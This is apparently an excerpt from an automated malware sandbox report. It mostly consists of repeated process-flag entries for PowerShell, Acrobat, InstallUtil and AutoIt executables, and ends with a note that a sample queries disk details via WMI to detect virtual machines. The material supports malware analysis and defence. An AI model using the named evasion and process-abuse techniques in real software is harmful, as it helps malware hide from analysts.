Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ehcfdbh\AutoIt3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ehcfdbh\AutoIt3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
